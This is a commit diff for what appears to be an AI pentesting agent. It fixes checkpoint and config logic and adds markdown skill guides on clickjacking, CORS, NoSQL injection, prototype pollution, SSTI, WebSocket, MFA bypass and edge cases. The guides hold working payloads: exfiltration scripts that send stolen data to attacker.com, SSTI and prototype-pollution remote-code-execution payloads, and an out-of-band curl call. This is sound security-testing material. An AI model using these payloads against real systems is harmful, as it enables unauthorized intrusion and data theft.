fix code-review issues and add 8 new vulnerability skills

Checkpoint / resume fixes (bot review on PR #380):
- cli.py: skip checkpoint save when scan completed cleanly (agent.state.completed)
  to prevent stale checkpoint re-creating after base_agent.py deletes it
- tui.py: same completed guard in both _save_checkpoint_on_interrupt and
  action_custom_quit to cover all TUI exit paths
- checkpoint_restore.py: fix infinite recursion in _depth() for cyclic
  parent_id references in corrupted checkpoints — mark node before recursing
- config.py: restore original shell-env-wins precedence for LLM vars;
  cli-config.json only applies when the shell var is absent, preventing
  silent override of rotated keys managed via shell environment

New vulnerability skills (from upstream PRs #204 and #334):
- clickjacking, cors_misconfiguration, nosql_injection, prototype_pollution,
  ssti, websocket_security (PR #204)
- mfa_bypass, edge_cases (PR #334)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
root 2026-03-21 10:16:11 +01:00
parent 43cb418c92
commit c21c4d26b2
12 changed files with 676 additions and 17 deletions

View file

@ -141,11 +141,10 @@ class Config:
cls.save({"env": env_vars})
applied = {}
llm_vars = cls._llm_env_vars()
for var_name, var_value in env_vars.items():
if var_name in cls.tracked_vars():
# LLM vars in cli-config.json always win over shell env
if var_name in llm_vars or force or var_name not in os.environ:
# Shell env wins unless --force or the var is not set in shell.
if force or var_name not in os.environ:
os.environ[var_name] = var_value
applied[var_name] = var_value

View file

@ -34,12 +34,11 @@ def restore_sub_agents(checkpoint_data: Any, llm_config: Any) -> list[str]:
def _depth(aid: str) -> int:
if aid in _memo:
return _memo[aid]
# Mark before recursing to break any cycle in corrupted checkpoints.
_memo[aid] = 0
parent = sub_agent_states.get(aid, {}).get("parent_id")
_memo[aid] = (
0
if (parent is None or parent not in sub_agent_states)
else 1 + _depth(parent)
)
if parent is not None and parent in sub_agent_states:
_memo[aid] = 1 + _depth(parent)
return _memo[aid]
restored_ids: list[str] = []

View file

@ -266,9 +266,13 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
return
if _checkpoint_saved.is_set():
return
agent_instance = _agent_ref[0]
# Skip if the scan already completed successfully — the checkpoint
# was deleted in base_agent.py and there is nothing to resume.
if getattr(agent_instance.state, "completed", False):
return
_checkpoint_saved.set()
try:
agent_instance = _agent_ref[0]
checkpoint_manager.save(
agent_instance.state,
tracer,

View file

@ -814,6 +814,9 @@ class StrixTUIApp(App): # type: ignore[misc]
return
if _checkpoint_saved.is_set():
return
# Skip if the scan already completed — nothing to resume.
if getattr(agent.state, "completed", False):
return
_checkpoint_saved.set()
try:
mgr.save(
@ -2021,14 +2024,16 @@ class StrixTUIApp(App): # type: ignore[misc]
_agent = getattr(self, "_current_agent", None)
if _mgr and _agent:
import contextlib
with contextlib.suppress(Exception):
_mgr.save(
_agent.state,
self.tracer,
self.scan_config,
self.agent_config.get("target_hash", ""),
_agent.max_iterations,
)
# Only save if the scan was interrupted, not if it finished cleanly.
if not getattr(_agent.state, "completed", False):
with contextlib.suppress(Exception):
_mgr.save(
_agent.state,
self.tracer,
self.scan_config,
self.agent_config.get("target_hash", ""),
_agent.max_iterations,
)
self.tracer.cleanup()

View file

@ -0,0 +1,71 @@
---
name: clickjacking
description: Clickjacking testing covering UI redressing, frame embedding, and X-Frame-Options / CSP bypass techniques
---
# Clickjacking
Clickjacking (UI redressing) tricks users into clicking hidden or disguised UI elements by overlaying transparent iframes on top of legitimate pages.
## Attack Surface
**Targets**
- Pages that perform sensitive actions (fund transfers, account changes, password resets, OAuth authorization, social actions)
- Pages missing `X-Frame-Options` or `Content-Security-Policy: frame-ancestors`
**Defenses to Bypass**
- `X-Frame-Options: DENY / SAMEORIGIN`
- `Content-Security-Policy: frame-ancestors 'none' / 'self'`
- Frame-busting JavaScript
## Testing Methodology
### Step 1 Check Headers
```
curl -s -I https://target.com | grep -i "x-frame-options\|frame-ancestors"
```
Missing or misconfigured headers indicate framing is allowed.
### Step 2 Attempt Embedding
```html
<iframe src="https://target.com/sensitive-action" width="800" height="600" style="opacity:0.0001"></iframe>
```
If the page renders inside the iframe, the site is vulnerable.
### Step 3 Frame-Buster Bypass
If JavaScript frame-busting is used (e.g., `if (top !== self) top.location = self.location`):
- Use `sandbox` attribute to disable JS: `<iframe sandbox="allow-forms" src="...">`
- Double-framing technique to confuse legacy bust code
### Step 4 Construct PoC
Create a minimal HTML page that overlays the victim page and demonstrates a click being captured on a hidden sensitive button.
## Common Vulnerable Endpoints
- `/settings` — account deletion or email change
- `/transfer` — financial or data operations
- `/oauth/authorize` — third-party authorization grant
- `/2fa/disable` — two-factor authentication removal
- Social actions: like, follow, share buttons
## Severity Assessment
| Condition | Severity |
|-----------|----------|
| Sensitive action completable in one click (no CSRF token required) | High |
| Multi-step action, partial automation possible | Medium |
| Cosmetic/low-impact action only | Low |
## Reporting
- Include PoC HTML
- Screenshot or video showing the overlaid UI
- Confirm action was completed without user awareness
- Note whether `X-Frame-Options` or `frame-ancestors` is absent
## Remediation
```
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';
```

View file

@ -0,0 +1,73 @@
---
name: cors_misconfiguration
description: CORS misconfiguration testing covering origin reflection, null origin, and credential leakage
---
# CORS Misconfiguration
Cross-Origin Resource Sharing (CORS) misconfigurations allow attacker-controlled origins to read sensitive responses from APIs and authenticated endpoints.
## Attack Surface
**High-Value Targets**
- REST/GraphQL APIs returning user data, tokens, or PII
- Authenticated endpoints with `Access-Control-Allow-Credentials: true`
- Internal/staging APIs exposed to the internet
**Common Misconfigurations**
- Reflected `Origin` header with credentials allowed
- `Access-Control-Allow-Origin: null` accepted
- Wildcard `*` with credentials (browser blocks this, but check for proxy quirks)
- Partial-match origin validation (e.g., `evil-target.com` bypasses `target.com` suffix check)
- Pre-domain match bypass: `targetevilsite.com`
## Testing Methodology
### Step 1 Baseline Request
```
curl -s -I -H "Origin: https://attacker.com" https://target.com/api/profile
```
Check if `Access-Control-Allow-Origin: https://attacker.com` is reflected.
### Step 2 Credentials Check
```
curl -s -I -H "Origin: https://attacker.com" https://target.com/api/profile
```
If both of the following are present, it is exploitable:
- `Access-Control-Allow-Origin: https://attacker.com`
- `Access-Control-Allow-Credentials: true`
### Step 3 Null Origin Test
```
curl -s -I -H "Origin: null" https://target.com/api/profile
```
Null origin can be triggered from sandboxed iframes.
### Step 4 Subdomain / Prefix Bypass
Try origins:
- `https://target.com.attacker.com`
- `https://attackertarget.com`
- `https://sub.target.com` (if subdomains are trusted but one is compromised)
### Step 5 Exploit PoC
```html
<script>
fetch("https://target.com/api/profile", {credentials: "include"})
.then(r => r.text())
.then(d => fetch("https://attacker.com/log?d=" + btoa(d)));
</script>
```
## Severity Assessment
| Condition | Severity |
|-----------|----------|
| Authenticated sensitive data returned with reflected origin + credentials | Critical |
| Internal API reachable from internet with wildcard | High |
| Unauthenticated endpoint only | Low |
## Remediation
- Maintain an explicit whitelist of allowed origins; never reflect the `Origin` header blindly
- Never combine `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true`
- Reject `null` origin for credentialed requests

View file

@ -0,0 +1,95 @@
---
name: edge_cases
description: Edge case testing covering boundary conditions, encoding tricks, race conditions, and parser differentials that bypass standard security controls
---
# Edge Cases
Security controls often fail at boundary conditions. Testing edge cases systematically uncovers bypasses that standard payloads miss.
## Encoding and Representation
**URL Encoding Variants**
- Double encoding: `%2527` → decoded twice to `'`
- UTF-8 overlong encoding: `%c0%ae``.` (path traversal)
- Unicode normalization: ```SELECT` after NFKC
**Case and Whitespace**
- Mixed case: `SeLeCt`, `ScRiPt`
- Null bytes: `admin%00@evil.com` splitting email validation
- Newline injection: `%0d%0a` in headers
- Tab vs space: `SELECT/**/1` vs `SELECT 1`
**Content-Type Confusion**
- Send JSON as `application/x-www-form-urlencoded`
- Send XML where JSON is expected (XXE pivot)
- Charset parameter abuse: `charset=utf-7`, `charset=ibm037`
## Boundary Conditions
**Integer Boundaries**
- Max int32: `2147483647``2147483647 + 1` triggers overflow
- Negative IDs: `-1`, `-9999` may access special records
- Zero: ID `0` sometimes maps to admin or null record
**String Length**
- Empty string `""` vs absent parameter vs `null`
- Very long input (>= 10,000 chars) for buffer overflows / ReDoS
- Single character, single space, unicode zero-width space `\u200b`
**Array / Object Type Confusion**
- Sending `["admin"]` where `"admin"` (string) is expected
- `{"role": ["admin", "user"]}` vs `{"role": "admin"}`
- `null` vs missing key in JSON body
## Parser Differentials
**Path Traversal Edge Cases**
- `....//` (four dots, two slashes) normalised differently per OS
- `..%2f`, `..%5c`, `..%252f` (double-encoded slash)
- Windows UNC: `\\server\share`
- URL path confusion: `/api/../admin`
**Host Header Injection**
- `Host: target.com:80@attacker.com`
- `X-Forwarded-Host: attacker.com`
- Duplicate `Host` headers
**HTTP Method Override**
- `X-HTTP-Method-Override: DELETE`
- `_method=PUT` in POST body
- `X-Method-Override: PATCH`
## Race Conditions at Boundaries
- Submit two simultaneous requests to use a single-use coupon/token
- Concurrent account creation with the same username
- Parallel password reset requests to exhaust single-use token
- Double-spend: two simultaneous withdrawal requests
## Authentication Edge Cases
- Logging in with username containing leading/trailing whitespace
- Email case insensitivity: `Admin@example.com` vs `admin@example.com`
- Unicode homograph in username: `аdmin` (Cyrillic а) vs `admin`
- Expired session token still accepted after password change
- Password reset token valid after email address change
## API Versioning
- `/api/v1/` has security controls; `/api/v2/` or `/api/` (unversioned) may not
- Old versions left accessible without auth
- Mobile app endpoints (`/mobile/api/`) with relaxed validation
## Severity Assessment
Edge cases are context-dependent. Evaluate each finding based on:
- What security control is bypassed
- What impact the bypass enables (auth bypass = Critical, input validation bypass = variable)
## Testing Tips
- Fuzz with Burp Intruder using encoding and boundary payloads
- Compare responses for subtle differences (timing, length, status code)
- Test every input field in both authenticated and unauthenticated states
- Repeat tests after changing content-type, HTTP method, and parameter names

View file

@ -0,0 +1,90 @@
---
name: mfa_bypass
description: MFA bypass testing covering code reuse, brute force, response manipulation, and account recovery weaknesses
---
# MFA Bypass
Multi-Factor Authentication can be circumvented through implementation weaknesses even when correctly integrated at the UI level. Always test MFA flows independently of the underlying authentication.
## Attack Surface
**Code Weaknesses**
- TOTP/OTP codes not invalidated after use (replay attack)
- Long validity windows (> 5 minutes for TOTP)
- No rate-limiting on OTP submission endpoint
- OTP transmitted in response body or URL
**Flow Weaknesses**
- MFA step skippable by directly navigating to post-auth URL
- Session token issued before MFA completion
- `mfa_verified` flag set client-side (response manipulation)
- Backup codes exposed in API response or account settings
**Account Recovery Weaknesses**
- "Forgot MFA" flow bypasses MFA entirely with weak identity verification
- SMS OTP subject to SIM swapping
- Recovery codes not invalidated after use
## Testing Methodology
### Step 1 OTP Replay
Submit a valid OTP, log out, log back in, and submit the same OTP again within the validity window. If it succeeds, codes are not invalidated after use.
### Step 2 Rate-Limit Test
Send OTP submission requests in rapid succession (50200 requests):
```
POST /api/mfa/verify
{"otp": "000000"}
...
{"otp": "999999"}
```
If no lockout occurs after ~10 failures, brute force is possible.
### Step 3 Response Manipulation
Intercept MFA verification response. If the response contains:
```json
{"success": false, "mfa_required": true}
```
Modify to:
```json
{"success": true, "mfa_required": false}
```
and check if the application grants access.
### Step 4 Skip MFA Step
After completing step 1 (username/password), directly request a protected resource before submitting the OTP. If the session cookie already grants access, MFA is not enforced server-side.
### Step 5 Backup Code Exposure
```
GET /api/account/mfa/backup-codes
```
Check if backup codes are returned in plaintext or if exhausted codes remain valid.
### Step 6 Parameter Tampering
```
POST /api/mfa/verify
{"otp": "123456", "user_id": "victim_user_id"}
```
Try substituting another user's ID to verify OTP in their context.
### Step 7 OTP in URL or Logs
Check network requests for OTPs appearing in query parameters, referrer headers, or server access logs.
## Severity Assessment
| Condition | Severity |
|-----------|----------|
| MFA step fully skippable | Critical |
| OTP brute-forceable (no rate limit) | High |
| Response manipulation grants access | High |
| OTP replay within valid window | Medium |
| Backup code exposure | MediumHigh |
## Remediation
- Invalidate OTP immediately after first successful use
- Enforce server-side MFA state; never trust client-supplied `mfa_verified` flags
- Rate-limit OTP attempts (≤ 5 per minute, lockout after 10 failures)
- Expire TOTP codes at the 30-second window boundary
- Require re-authentication before revealing or regenerating backup codes

View file

@ -0,0 +1,78 @@
---
name: nosql_injection
description: NoSQL injection testing covering MongoDB operator injection, authentication bypass, and data extraction
---
# NoSQL Injection
NoSQL injection exploits insufficient input sanitization in NoSQL database queries, allowing attackers to bypass authentication, extract data, or modify queries using database-specific operators.
## Attack Surface
**Databases**
- MongoDB (most common), CouchDB, Redis, Cassandra, DynamoDB
**Injection Points**
- JSON request bodies (`Content-Type: application/json`)
- Query parameters parsed into objects
- Login forms, search endpoints, filter parameters
## Testing Methodology
### Step 1 Detect JSON Parameter Handling
Send object instead of string:
```
POST /login
{"username": {"$gt": ""}, "password": {"$gt": ""}}
```
If login succeeds without valid credentials → authentication bypass.
### Step 2 Operator Injection in Query Params
```
GET /users?username[$ne]=invalid
GET /users?age[$gt]=0
```
### Step 3 Extract Data with `$regex`
```json
{"username": "admin", "password": {"$regex": "^a"}}
```
Iterate character by character to extract password hashes or tokens.
### Step 4 Blind Injection (Boolean-Based)
Use true/false conditions to infer data:
```json
{"username": "admin", "password": {"$regex": "^secret"}}
```
Time difference or response length difference confirms the condition.
### Step 5 `$where` JavaScript Injection (MongoDB < 4.4)
```json
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
```
## Common Payload List
| Operator | Purpose |
|----------|---------|
| `{"$gt": ""}` | Match anything greater than empty string |
| `{"$ne": null}` | Match any non-null value |
| `{"$regex": ".*"}` | Match any string |
| `{"$in": ["admin","root"]}` | Enumerate known values |
| `{"$where": "1==1"}` | JS expression always true |
## Severity Assessment
| Condition | Severity |
|-----------|----------|
| Authentication bypass | Critical |
| Arbitrary data extraction with credentials | High |
| Limited record enumeration | Medium |
## Remediation
- Use parameterized queries / ODM validation (e.g., Mongoose schema types)
- Reject or strip keys starting with `$` from user input
- Enable `strict` mode in Mongoose
- Disable `$where` and JavaScript execution in MongoDB (`--noscripting`)

View file

@ -0,0 +1,75 @@
---
name: prototype_pollution
description: Prototype pollution testing covering client-side and server-side JavaScript object prototype manipulation
---
# Prototype Pollution
Prototype pollution allows attackers to inject properties into JavaScript's `Object.prototype`, affecting all objects in the application. This can lead to XSS, RCE, authentication bypass, or denial of service.
## Attack Surface
**Client-Side**
- URL query parameters parsed into objects (e.g., `?__proto__[admin]=true`)
- Hash fragment, JSON merge operations
- Vulnerable libraries: lodash, jQuery (old), Hoek, merge/deepmerge, qs
**Server-Side (Node.js)**
- JSON body deserialization
- Deep merge / extend utilities
- Template engines evaluating polluted properties
## Testing Methodology
### Step 1 Client-Side Detection
In browser console, inject via URL:
```
https://target.com/?__proto__[polluted]=yes
```
Then check: `({}).polluted === "yes"` — if `true`, the app is vulnerable.
### Step 2 JSON Body Injection
```json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
```
Send in POST body; check if subsequent requests gain elevated privileges.
### Step 3 Gadget Hunting (Server-Side RCE)
Common gadgets in Node.js:
- `child_process.spawn` options polluted with `shell: true`
- Template engines: Handlebars, Pug, EJS checking polluted properties
- `JSON.parse` / `Object.assign` sinks
```json
{"__proto__": {"outputFunctionName": "_x; process.mainModule.require('child_process').execSync('id > /tmp/pwned'); //"}}
```
(Pug template RCE gadget)
### Step 4 Property Names to Try
- `__proto__`
- `constructor.prototype`
- `__proto__.constructor.prototype`
### Step 5 DoS via Pollution
```json
{"__proto__": {"toString": null}}
```
Overriding built-in methods can crash Node.js processes.
## Severity Assessment
| Condition | Severity |
|-----------|----------|
| Server-side RCE via gadget chain | Critical |
| Authentication/authorization bypass | High |
| Client-side XSS via polluted sink | High |
| Denial of service | Medium |
## Remediation
- Use `Object.create(null)` for dictionaries that hold user-supplied keys
- Validate/sanitize keys: reject `__proto__`, `constructor`, `prototype`
- Use `Map` instead of plain objects for user-controlled key-value pairs
- Upgrade vulnerable libraries (lodash ≥ 4.17.21, qs ≥ 6.10.3)
- Set `--frozen-intrinsics` in Node.js (experimental)

View file

@ -0,0 +1,86 @@
---
name: ssti
description: Server-Side Template Injection testing covering detection, engine fingerprinting, and RCE exploitation
---
# Server-Side Template Injection (SSTI)
SSTI occurs when user input is embedded unsanitized into a server-side template, allowing code execution in the template engine context and often leading to RCE.
## Attack Surface
**Template Engines**
- Python: Jinja2, Mako, Tornado, Cheetah
- Java: Freemarker, Velocity, Pebble, Thymeleaf
- Node.js: Pug/Jade, Handlebars, EJS, Nunjucks, Twig.js
- Ruby: ERB, Slim, Liquid
- PHP: Twig, Smarty, Blade
**Injection Points**
- Error pages that echo user input
- Email templates, PDF generators
- Custom dashboards with user-controlled text
- Search fields, file names, URL paths reflected in responses
## Testing Methodology
### Step 1 Polyglot Detection Probe
```
${{<%[%'"}}%\.
```
Errors or unusual output indicate a template context.
### Step 2 Math Probe (Engine Agnostic)
```
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
```
If the response contains `49`, the input is being evaluated.
### Step 3 Engine Fingerprinting
| Payload | Engine |
|---------|--------|
| `{{7*'7'}}``7777777` | Jinja2 / Twig |
| `${7*7}``49` | Freemarker / EL |
| `<%= 7*7 %>``49` | ERB / EJS |
| `#{7*7}``49` | Ruby ERB |
| `{{= 7*7 }}``49` | Pebble |
### Step 4 RCE via Jinja2 (Python)
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
```
### Step 5 RCE via Freemarker (Java)
```
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id")}
```
### Step 6 RCE via Pug (Node.js)
```
#{root.process.mainModule.require('child_process').execSync('id')}
```
### Step 7 Blind SSTI (Out-of-Band)
```
{{''.__class__.mro()[1].__subclasses__()[396]('curl attacker.com/$(id)',shell=True,stdout=-1).communicate()}}
```
## Severity Assessment
| Condition | Severity |
|-----------|----------|
| RCE achieved | Critical |
| File read / environment variable disclosure | High |
| Template expression evaluated, no code exec | Medium |
## Remediation
- Never pass raw user input to template render functions
- Use sandboxed template environments (Jinja2 `SandboxedEnvironment`)
- Validate and escape all user data before template interpolation
- Use logic-less templates (Mustache) where dynamic execution is not needed

View file

@ -0,0 +1,84 @@
---
name: websocket_security
description: WebSocket security testing covering cross-site WebSocket hijacking, input validation, and authentication bypass
---
# WebSocket Security
WebSockets maintain persistent bidirectional connections and are often exempt from the same security controls applied to HTTP endpoints, making them a high-value attack surface.
## Attack Surface
**Connection Weaknesses**
- Missing `Origin` header validation → Cross-Site WebSocket Hijacking (CSWSH)
- No authentication token in handshake (relies on cookies without `SameSite`)
- Upgrade endpoint accessible without session validation
**Message-Level Issues**
- Unsanitized messages processed as commands or SQL/OS calls
- JSON message injection (parameter tampering, privilege escalation)
- XSS via WebSocket message reflected into DOM
- Binary protocol manipulation
## Testing Methodology
### Step 1 Inspect Handshake
```
GET /ws HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://target.com
```
Capture in Burp; note cookies and any auth tokens in the request.
### Step 2 Cross-Site WebSocket Hijacking (CSWSH)
Create attacker page:
```html
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onmessage = function(e) {
fetch("https://attacker.com/log?d=" + btoa(e.data));
};
</script>
```
If the server accepts cross-origin connections using session cookies, sensitive data is stolen.
### Step 3 Change Origin Header in Burp
Intercept the WebSocket upgrade request and change `Origin` to `https://attacker.com`. If the server still upgrades, origin validation is absent.
### Step 4 Message Injection / Tampering
After connecting, modify message fields:
```json
{"action": "getUser", "userId": "1"}
→ {"action": "getUser", "userId": "2"}
```
Look for IDOR, privilege escalation, or injections in message payloads.
### Step 5 Injection via Messages
```json
{"message": "<img src=x onerror=alert(1)>"}
{"query": "'; DROP TABLE users; --"}
{"cmd": "ls /"}
```
### Step 6 Authentication Bypass
Try connecting to `wss://target.com/ws` without cookies or with expired tokens. Check if the server allows unauthenticated message processing.
## Severity Assessment
| Condition | Severity |
|-----------|----------|
| CSWSH leaking sensitive user data | High |
| Authentication bypass on WebSocket endpoint | High |
| Command/SQL injection via messages | Critical |
| XSS via reflected WebSocket message | MediumHigh |
| IDOR via message tampering | Medium |
## Remediation
- Validate `Origin` header server-side against an explicit allowlist
- Require an explicit auth token (not just session cookie) in the WebSocket handshake
- Apply the same input validation to WebSocket messages as HTTP endpoints
- Use `SameSite=Strict` cookies to prevent CSWSH
- Implement per-connection rate limiting and message size limits